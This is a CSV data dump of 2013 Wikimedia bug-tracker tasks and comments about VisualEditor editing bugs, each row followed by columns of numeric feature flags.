+Does this happen on every article for you?  Which skin are you using?",,,1374704563,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fyok2cjpctqiorpfldvp,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+53968,VisualEditor: can't remove missing image,"http://it.wikipedia.org/w/index.php?title=Pieve_di_San_Giovanni_Battista_%28Pieve_Fosciana%29&oldid=60196986
+
+If you tried to edit with VE, the missing image link would just disappear.
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374684900,1377623981.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+254194,VisualEditor: can't remove missing image,"
+
+*** This bug has been marked as a duplicate of bug 50788 ***",,,1377623981,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254188,VisualEditor: can't remove missing image,"Confirming. To make the description more clear: even if in view mode you can see the name in red of the missing image and the caption, with VisualEditor you won't see a thing, and therefore it's impossible to edit or delete the image object.
+
+There is a test page at
+
+http://test2.wikipedia.org/wiki/MissingImageVEtest
+
+I found about this while trying to remove the captions in an article of two images that had been deleted at Commons: 
+
+http://ca.wikipedia.org/w/index.php?title=Remedios_Varo&oldid=11208969
+
+The only way to do this is editing source the old way.",,,1376309716,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+254183,VisualEditor: can't remove missing image,I actually moved the above comment to https://bugzilla.wikimedia.org/show_bug.cgi?id=52575 . Thanks.,,,1375790933,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+254178,VisualEditor: can't remove missing image,http://en.wikipedia.org/w/index.php?title=Walton_%28company%29&diff=567155604&oldid=565055473 This might be related (not sure how they managed to remove the bracket!),,,1375704777,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0
+254171,VisualEditor: can't remove missing image,"It disappears in VE for me too.
+
+1. modify the page (add a ' ' anywhere) 
+2. 'Save page' and 'review your changes'
+
+The diff 'inserts'
+
+[[File:Pieve San Giovanni.jpg|thumb|200px|San Giovanni Battista]]",,,1374705106,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-krz3dz5vyj2jo6pufnnb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,1
+53959,VisualEditor or Parsoid tried to convert slash-separate numbers into <a href=tel:> and refused to save,"An anonymous editor at en.wp reports:
+""I was attempting to correct a minor error at [[Class 455]].  Although I was only attempting to change one word, the editor changed, 
+
+:...in common with the Classes 313 / 314 / 315 / 507 / 508 units.""
+
+into 
+
+:<nowiki>...in common with the Classes <a href=tel:313 / 314 / 315"">313 / 314 / 315</a> / 507 / 508 units.</nowiki>
+
+and then complains of a formatting error and refuses to allow the change to be saved.  The editor seems to be interpreting the list of class numbers as a telephone number.""
+
+I have been unable to reproduce this using Firefox 22 on Linux, including editing the article in question.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53315",Needs Triage,90.0,1374669600,1374680186.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-hekxaxmddcora46opa6e,task_description,invalid,True,c1,3,False,False,True,3,,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+253777,VisualEditor or Parsoid tried to convert slash-separate numbers into <a href=tel:> and refused to save,This might be default behavior in the Safari iOS contenteditable. In that case we probably need to file a bugreport upstream.,,,1374690787,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-hekxaxmddcora46opa6e,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+253771,VisualEditor or Parsoid tried to convert slash-separate numbers into <a href=tel:> and refused to save,"Just for reference, the original reporter subsequently noted that they use Ipad IOS6 with Safari",,,1374683186,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hekxaxmddcora46opa6e,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+253763,VisualEditor or Parsoid tried to convert slash-separate numbers into <a href=tel:> and refused to save,"This is almost certainly due to a browser plugin that thinks it's being ""helpful"". Certainly, nothing in VisualEditor or Parsoid understand href=tel: links, so it's not going to come from us. I also can't reproduce locally in Firefox, Safari or Chrome.
+
+Marking as INVALID (but we are seeing a small number of these consistent due to people having broken plugins; we're investigating whether there's a way to stop them).",,,1374680186,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hekxaxmddcora46opa6e,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+253753,VisualEditor or Parsoid tried to convert slash-separate numbers into <a href=tel:> and refused to save,This may be a VE issue if you are seeing a-href showing up in wikitext on serialization.,,,1374678107,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-hekxaxmddcora46opa6e,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+53950,VisualEditor: <nowiki> tags not deleted when surrounding element or text is deleted,"User Atethnekos at en.wp reports:
+""If in the source code there is <<nowwiki/>blockquote>, and in VE I select ""<blockquote>"" and delete it, when I save the <nowiki/> is left behind in the source code."" 
+
+See https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox2&diff=565596201&oldid=565596137 for an example in by sandbox. Further testing shows that it also happens with other tags and even with plain text:
+https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox2&diff=565596772&oldid=565596703
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374661620,1374879593.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-wg4if5a5jfs6ciuoa7x3,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+253282,VisualEditor: <nowiki> tags not deleted when surrounding element or text is deleted,"This is the same as bug 47678, which now fixed in some code we created this week, but unfortunately that has an issue, bug 51948 which is preventing wider deployment. Hopefully we'll get that fixed next week.
+
+*** This bug has been marked as a duplicate of bug 47678 ***",,,1374879593,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wg4if5a5jfs6ciuoa7x3,task_subcomment,,True,c1,3,True,,,3,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+53938,VisualEditor: Deleting last use of reference should remove the entry from <references>..</references>,"This is related to Bug 51741, which is about adding support for <references>...</references>
+
+If the page already has <references>..</references>, and the last use of a named reference is removed, the entry inside <references>..</references> needs to be removed otherwise an error is generated after save.
+
+Steps to reproduce:
+1. https://de.wikipedia.org/wiki/This_Is_War?veaction=edit
+2. Delete one of the named references, e.g. [16] at present
+3. Save & Review your changes.
+
+Expected results:
+The reference is removed from the content and the references list.
+
+Actual results:
+The reference is removed from the content, but it remains in the references list, and if saved the error is:
+""Cite error: <ref> tag with name ""rockspot_1"" defined in <references> is not used in prior text.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374657660,1385395008.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-dbgv7dfw47acis2f72rd,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+252743,VisualEditor: Deleting last use of reference should remove the entry from <references>..</references>,This was done some time ago; sorry for the slow triage.,,,1385395008,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dbgv7dfw47acis2f72rd,task_subcomment,,True,c1,3,True,,,21,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+53925,VisualEditor: Retain newlines between parameters in transclusion invocations,"Steps to reproduce:
+1. https://nl.wikipedia.org/wiki/Dolichognatha_petiti?veaction=edit
+2. Click on infobox and edit translusion
+3. In the first parameter (afbeelding), add 'blah', and apply changes
+4. 'Save' & 'Review your changes'
+
+Result:
+ | afbeelding = 
+-| afbeeldingtekst = 
++| afbeelding = 
++blah| afbeeldingtekst = 
+
+Expected results:
+-| afbeelding = 
++| afbeelding = blah
+
+p.s. [[nl:Dolichognatha petiti]] is currently on the parsoid topfail list
+http://parsoid.wmflabs.org:8001/topfails/15
+
+Regarding the actual bug, I saw a similar diff ~20 hrs ago:
+https://en.wikipedia.org/w/index.php?title=List_of_Sam_%26_Cat_episodes&curid=39469556&diff=565437324&oldid=565416618
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374642420,1385397595.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-53dxg6rsj6uqcm45wss5,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+251794,VisualEditor: Retain newlines between parameters in transclusion invocations,This was fixed some time ago; sorry for the slow triage.,,,1385397595,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-53dxg6rsj6uqcm45wss5,task_subcomment,,True,c1,3,True,,,21,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+251786,VisualEditor: Retain newlines between parameters in transclusion invocations,"And another one reported on en:VEF in case it helps
+https://en.wikipedia.org/w/index.php?title=Rebel_Beat_%28Goo_Goo_Dolls_song%29&diff=566058910&oldid=565340967",,,1374979926,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-53dxg6rsj6uqcm45wss5,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+53907,VisualEditor: DEFAULTSORT suggestions should use/not use diacritics on based on wiki policy,"English Wikipedia user PamD comments:
+""Editing [[Pikku-Vesijärvi]] I noticed that VE's suggested DEFAULTSORT was exactly the title. VE should be set to drop the diacriticals when suggesting DEFAULTSORT - should have been ""Pikku-Vesijarvi"" with a plain ""a"".""
+
+Looking at some other wikis it seems some do use diacritics in DEFAULTSORT (at least the Czech and Estonian ones do at [[cs:Édith Piaf]] and [[et:Édith Piaf]) so this seems like something that should be configurable based on each wiki's policy.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374609540,1385382898.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-horg3ds56xoznfv445i2,task_description,invalid,True,c1,3,False,False,False,3,,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+250417,VisualEditor: DEFAULTSORT suggestions should use/not use diacritics on based on wiki policy,"VisualEditor is not ""suggesting"" a default page sort - the placeholder text informs the user what the page is currently sorted as (i.e., the page's name).
+
+Marking as INVALID.",,,1385382898,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-horg3ds56xoznfv445i2,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1
+53905,VisualEditor: Inserting media dialog has no confirmation button,"**Author:** `jduranboger`
+
+**Description:**
+screenshot of the bug
+
+Does not appear ""insertar multimedia"" button (insert multimedia), and can't inser image selecting from the dialoge box in the spanish version. This problem happen in firefox 22.
+
+Attached:Screenshot
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Windows 7
+**Platform**: PC
+
+**Attached**: {F11730}",Needs Triage,90.0,1374608640,1389677471.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-fl755yo3ekdckavdhb4b,task_description,invalid,True,c1,3,False,False,False,3,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+250356,VisualEditor: Inserting media dialog has no confirmation button,Closing this as no confirmation of report as written. Bug 51911 gets the gist of the issue.,,,1389677471,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,True,,,28,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+250351,VisualEditor: Inserting media dialog has no confirmation button,Sorry for confirming; the UI design should be a separate bug.,,,1374706420,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+250345,VisualEditor: Inserting media dialog has no confirmation button,"It does look very bare, and many users will be thinking ""do I need to double click""? (we have MS to thank for that)
+
+I would prefer to select an image, be prompted for a caption (an overlay appears), and then apply changes.  That would partially solve bug 51911, as the user would feel more confident that they had inserted the image, and they would go looking for it.",,,1374703705,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,False,,,3,,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,0
+250339,VisualEditor: Inserting media dialog has no confirmation button,Bug/enhancement reported as bug 51911.,,,1374614627,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+250334,VisualEditor: Inserting media dialog has no confirmation button,"Maybe you are inserting the image somewhere out of your field of view? For example if there is an infobox in the article, or many pictures aligned to the right, the image you are inserting may be inserted BELOW all this, where you cannot see it.
+
+Regardless of whether this is the actual problem in this particular case, I think that it is a potential problem for others. I tried inserting an image in an article with an infobox, and indeed the image was inserted below it, out of my field of view. This could lead to puzzled users and even unintended bad edits, and I think that the solution is fairly simple: making the VisualEditor scroll the screen down to wherever the image is inserted. I'll report this to the VisualEditor team.",,,1374613964,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+250328,VisualEditor: Inserting media dialog has no confirmation button,That button was removed on purpose. You should be able to insert an image by simply clicking on the image.,,,1374608768,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-fl755yo3ekdckavdhb4b,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+53880,VisualEditor: Dragging cursor through multi-part template responds unpredictably in Firefox,"A user - Cryptic C62 - reports on English language Wikipedia:
+**
+If I click directly on a collapse box (created with {{collapse top}} and {{collapse bottom}}), the transclusion button appears and works correctly. If I highlight a collapse box by clicking and dragging my cursor through it, one of two things happens:
+
+A: A transclusion button does not appear
+B: A transclusion button does appear. Clicking on it opens a new template window, rather than editing the existing collapse box.
+
+Occurs in Firefox v21.0, cannot replicate in Chrome v28.0
+**
+
+I attempted to replicate this myself and found that I sometimes got result A and sometimes a transclusion button that *did* edit the existing collapse box. I could not get his result B.
+
+I tested it on other templates, and it did not seem that dragging through other templates ever brought up the transclusion button, but never say never. :)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374588720,1385394193.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-4r4lbhkxqhogotfzas57,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+249074,VisualEditor: Dragging cursor through multi-part template responds unpredictably in Firefox,"AFAICT this is now fixed, I believe due to the changes in selection handling in Firefox. Sorry for the slow triage.",,,1385394193,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4r4lbhkxqhogotfzas57,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53875,General non VE feedback goes to the VE feedback page.,"I've noticed quite a few edits going to the VE feedback page http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback page which don't really seem to be VE feedback. If you follow through the new editor experience its quite obvious why they are being directed there:
+1)New editor finds a page, they want to edit and clicks ""Edit""
+2) They have a question, they see the big ? in the top bar and click it
+3) There are two options: ""user guide"" and ""Leave feadback"", the second is obviously the one for questions so they click that
+4) There is some complicate text which is tldr and a nice box to ask your question. The user types in that and
+5)Bingo, a new section on the feedback page
+
+This senario probably explains why we are getting a few simple signature with no comments. As the ? is much more prominent than the Help in the left sidebar its grabbing the users attention so diverting users away from our main help system. This showing up to be a continuing problem with about one such post a day. A way needs to be found to direct users to the right place.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Needs Triage,90.0,1374583260,1390607728.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-fz3rgh4ljjpvwe3terlp,task_description,declined,True,c1,3,False,False,False,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+248668,General non VE feedback goes to the VE feedback page.,"Marking this as ""WORKSFORME"", though really we should consider the broader ramifications for us and think about adding a prominent help button for users who clearly want it.",,,1390607728,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fz3rgh4ljjpvwe3terlp,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+248660,General non VE feedback goes to the VE feedback page.,"Presumably the solution is to provide a proper help link for users for general concerns, rather than burying it where they never see it?",,,1374592005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fz3rgh4ljjpvwe3terlp,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+53858,Share VisualEditor and Parsoid puppet module between Vagrant and Wikimedia Labs,"Both MW-Vagrant and Labs have cases where a simple single-machine MW+Parsoid+VisualEditor setup is desired.  Vagrant currently has this, but Labs does not.  We should find a way to factor it out so the two environments can share it (possibly with a git submodule).
+
+This is a proof of concept for doing this more broadly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54160",Needs Triage,90.0,1374573300,1408666032.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-w26cnf2uzn6whhzpd4p5,task_description,declined,True,c1,3,True,False,False,3,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
